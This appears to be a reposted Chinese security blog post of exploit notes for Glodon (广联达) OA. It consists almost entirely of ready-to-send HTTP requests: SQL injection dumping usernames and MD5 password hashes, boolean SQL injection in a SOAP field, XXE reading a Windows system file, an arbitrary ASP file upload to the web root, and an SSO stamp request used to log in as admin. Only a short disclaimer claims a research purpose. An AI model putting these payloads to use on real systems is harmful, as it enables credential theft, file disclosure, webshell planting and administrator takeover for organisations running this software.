广联达办公OA是一款综合办公自动化解决方案，旨在提高组织内部的工作效率和协作能力。它提供了一系列功能和工具，帮助企业管理和处理日常办公任务、流程和文档。
http://URL/Org/service/Service.asmx
http://URL/Org/service/Service.asmx/GetDeptXml4GEPS
http://url/Org/service/Service.asmx/GetUserXml4GEPS
http://url/Webservice/IM/Config/ConfigService.asmx/GetIMDictionary
POST /Webservice/IM/Config/ConfigService.asmx/GetIMDictionaryHost: XX.XX.XXUpgrade-Insecure-Requests: 1User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/115.0.0.0 Safari/537.36Accept: text/html,application/xhtml xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7Referer: http://xxx.com:8888/Services/Identification/Server/Incompatible.aspxAccept-Encoding: gzip, deflateAccept-Language: zh-CN,zh;q=0.9Cookie:Connection: closeContent-Type: application/x-www-form-urlencodedContent-Length: 88dasdas=&key=1' UNION ALL SELECT top 1812 concat(F_CODE,':',F_PWD_MD5) from T_ORG_USER --
POST /Mail/Services/EmailAccountOrgUserService.asmxHost: XX.XXX.XXUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:120.0) Gecko/20100101 Firefox/120.0Content-Type: text/xmlContent-Length: 554<soap:Envelopexmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"xmlns:xsd="http://www.w3.org/2001/XMLSchema"xmlns:soap="http://schemas.xmlsoap.org/soap/envelope/"><soap:Body><GetUserInfosByEmailxmlns="http://tempuri.org/"><email>') AND 3515 IN (SELECT (CHAR(113)+CHAR(107)+CHAR(107)+CHAR(107)+CHAR(113)+(SELECT (CASE WHEN (3515=3515) THEN CHAR(49) ELSE CHAR(48) END))+CHAR(113)+CHAR(106)+CHAR(112)+CHAR(122)+CHAR(113))) AND ('ShLa'='ShLa</email></GetUserInfosByEmail></soap:Body></soap:Envelope>
POST /Org/service/Service.asmx/GetUserByEmployeeCodeHost: XX.XX.XXUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:121.0) Gecko/20100101 Firefox/121.0Content-Type: application/x-www-form-urlencodedAccept-Encoding: gzip, deflateConnection: closeContent-Length: 41employeeCode=1'-1/user--'&EncryptData=1
POST /GB/LK/Document/ArchiveService/ArchiveWebService.asmxHost: XX.XX.XXContent-Type: text/xml; charset=utf-8Content-Length: lengthSOAPAction: "http://GB/LK/Document/ArchiveService/ArchiveWebService.asmx/PostArchiveInfo"<soap:Envelopexmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"xmlns:xsd="http://www.w3.org/2001/XMLSchema"xmlns:soap="http://schemas.xmlsoap.org/soap/envelope/"><soap:Body><PostArchiveInfoxmlns="http://GB/LK/Document/ArchiveService/ArchiveWebService.asmx"><archiveInfo><!DOCTYPE Archive [
    <!ENTITY secret SYSTEM "file:///windows/win.ini">
]>

<Archive>  
    <ArchiveInfo>  
        <UploaderID>
############


&secret;


##############
</UploaderID>  
    </ArchiveInfo>  
    <Result>  
        <MainDoc>Document Content</MainDoc>  
    </Result>  
    <DocInfo>  
        <DocTypeID>1</DocTypeID>  
        <DocVersion>1.0</DocVersion>  
    </DocInfo>  
</Archive></archiveInfo><folderIdList>string</folderIdList><platId>string</platId></PostArchiveInfo></soap:Body></soap:Envelope>
POST /Services/FileService/UserFiles/GetAuthorizeKey.ashx HTTP/1.1Host: XX.XX.XXUpgrade-Insecure-Requests: 1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36 Edg/120.0.0.0Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7Accept-Encoding: gzip, deflateAccept-Language: zh-CN,zh;q=0.9,en;q=0.8,en-GB;q=0.7,en-US;q=0.6Connection: closeContent-Type: application/x-www-form-urlencodedContent-Length: 49cmd=&destDir=./sysinfo/&destFilename=qrxyrgwa.asp
POST /Services/FileService/UserFiles/UserFilesUpload.ashxHost: XX.XX.XXUpgrade-Insecure-Requests: 1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36 Edg/120.0.0.0Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7Accept-Encoding: gzip, deflateAccept-Language: zh-CN,zh;q=0.9,en;q=0.8,en-GB;q=0.7,en-US;q=0.6Connection: closeContent-Type: multipart/form-data; boundary=----WebKitFormBoundarytCOFhbEjc3IfYaY5Content-Length: 555------WebKitFormBoundarytCOFhbEjc3IfYaY5Content-Disposition: form-data; name="key"f3c7e655-9ecf-4e81-a7c1-da2e1172ff7b------WebKitFormBoundarytCOFhbEjc3IfYaY5Content-Disposition: form-data; name="destDir"./sysinfo/------WebKitFormBoundarytCOFhbEjc3IfYaY5Content-Disposition: form-data; name="destFilename"aaa.asp------WebKitFormBoundarytCOFhbEjc3IfYaY5Content-Disposition: form-data; name="file";filename="aaa.asp"content-type:image/png<% response.write("aaa")%>------WebKitFormBoundarytCOFhbEjc3IfYaY5--
POST /WebService/Lk6SyncService/DirectToOthers/GetSSOStamp.asmxHost: xContent-Type: text/xml; charset=utf-8Content-Length: 355SOAPAction: "http://tempuri.org/GetStamp"<soap:Envelopexmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"xmlns:xsd="http://www.w3.org/2001/XMLSchema"xmlns:soap="http://schemas.xmlsoap.org/soap/envelope/"><soap:Body><GetStampxmlns="http://tempuri.org/"><usercode>admin</usercode></GetStamp></soap:Body></soap:Envelope>
/Services/Identification/Server/login.ashx?sso=1&ssoProvider=WorkflowSSO&LoginFlag=custom&UserCode=admin&LoginCredence=856F1154F61FE89FDE236B64F565502C&LoginTimestamp=758027442&service=http://xxxxxx/Portal/Frame/layoutA/Default.aspxPOST /Webservice/IM/Config/ConfigService.asmx HTTP/1.1Host: {{Hostname}}User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, likeGecko) Chrome/123.0.6312.88 Safari/537.36Content-Type: text/xml;charset=UTF-8<?xml version="1.0" encoding="utf-8"?><soap:Envelope xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xmlns:xsd="http://www.w3.org/2001/XMLSchema" xmlns:soap="http://schemas.xmlsoap.org/soap/envelope/"><soap:Body><GetIMDictionary xmlns="http://tempuri.org/"><key>1' UNION ALL SELECT top 1812 concat(F_CODE,':',F_PWD_MD5) fromT_ORG_USER --</key></GetIMDictionary></soap:Body></soap:Envelope>
原文始发于微信公众号（破晓信安）：广联达(笔记)
免责声明:文章中涉及的程序(方法)可能带有攻击性，仅供安全研究与教学之用，读者将其信息做其他用途，由读者承担全部法律及连带责任，本站不承担任何法律及连带责任；如有问题可邮件联系(建议使用企业邮箱或有效邮箱,避免邮件被拦截，联系方式见首页)，望知悉。
- 左青龙
- 微信扫一扫
-
- 右白虎
- 微信扫一扫
-
评论